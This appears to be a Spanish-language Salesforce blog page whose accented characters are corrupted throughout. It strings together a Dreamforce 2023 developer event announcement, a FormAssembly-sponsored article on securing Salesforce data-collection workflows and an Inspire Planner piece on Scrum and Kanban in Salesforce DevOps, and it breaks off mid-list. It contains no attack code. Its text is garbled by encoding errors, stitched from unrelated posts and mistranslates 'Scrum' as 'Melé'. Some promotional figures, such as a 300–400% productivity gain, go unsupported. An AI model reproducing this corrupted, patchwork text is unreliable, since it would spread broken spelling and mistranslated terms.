Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra informaci贸n personal. La protecci贸n de datos es especialmente importante si sus flujos de trabajo de recopilaci贸n de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilaci贸n de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o da帽arlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Informaci贸n de identificaci贸n personal
  • informaci贸n de salud protegida
  • Registros financieros o educativos
  • Datos 茅tnicos, pol铆ticos y biom茅tricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su informaci贸n personal con usted. Tambi茅n garantiza que su organizaci贸n evite sanciones por incumplimiento de las leyes de privacidad de datos.

Pr谩cticas recomendadas de seguridad al recopilar datos

Su organizaci贸n es responsable de asegurarse de que las herramientas de recopilaci贸n de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podr谩 proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a trav茅s de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos est茅n en reposo o en tr谩nsito.

Limite el acceso a los datos

La implementaci贸n de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilaci贸n de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

Un flujo de trabajo de recopilaci贸n de datos de varios pasos tendr谩 diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electr贸nicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Aseg煤rese tambi茅n de probar continuamente sus flujos de trabajo de recopilaci贸n de datos de Salesforce en busca de vulnerabilidades de seguridad. La detecci贸n temprana de amenazas disminuir谩 la posibilidad de una violaci贸n de datos u otras consecuencias graves.

Implementar reglas de retenci贸n de datos

La creaci贸n de una pol铆tica clara de retenci贸n de datos es fundamental para definir c贸mo su organizaci贸n maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qu茅 datos deben conservarse y durante cu谩nto tiempo, as铆 como reglas sobre qui茅n tiene acceso y c贸mo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su pol铆tica de retenci贸n de datos garantizar谩 que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos tambi茅n pueden incluir el requisito de que los usuarios inicien sesi贸n para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuraci贸n de reglas de depuraci贸n de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuraci贸n de depuraci贸n de datos, como la frecuencia con la que se completa una depuraci贸n, seg煤n sus requisitos de retenci贸n de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobaci贸n dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilaci贸n de datos. Los pasos de aprobaci贸n dentro de un flujo de trabajo significan que ning煤n usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detecci贸n de errores

Los pasos de aprobaci贸n en un flujo de trabajo proporcionan un proceso de revisi贸n de datos est谩ndar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, as铆 como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditor铆a

Los registros de auditor铆a para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobaci贸n y crear un registro hist贸rico de los cambios realizados en los datos. Tambi茅n se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificaci贸n de los flujos de trabajo de recopilaci贸n de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con pol铆ticas de privacidad y seguridad de datos. Su organizaci贸n puede beneficiarse del uso de una 煤nica plataforma de flujo de trabajo y recopilaci贸n de datos como FormAssembly, que facilita la centralizaci贸n de la protecci贸n contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar m谩s f谩cilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilaci贸n de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilaci贸n de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electr贸nicos, integraciones y m谩s, todo sin c贸digo.

Descubra c贸mo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilaci贸n de datos de Salesforce mientras mantiene seguros los datos confidenciales.

馃憠 M谩s informaci贸n sobre el flujo de trabajo de FormAssembly

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

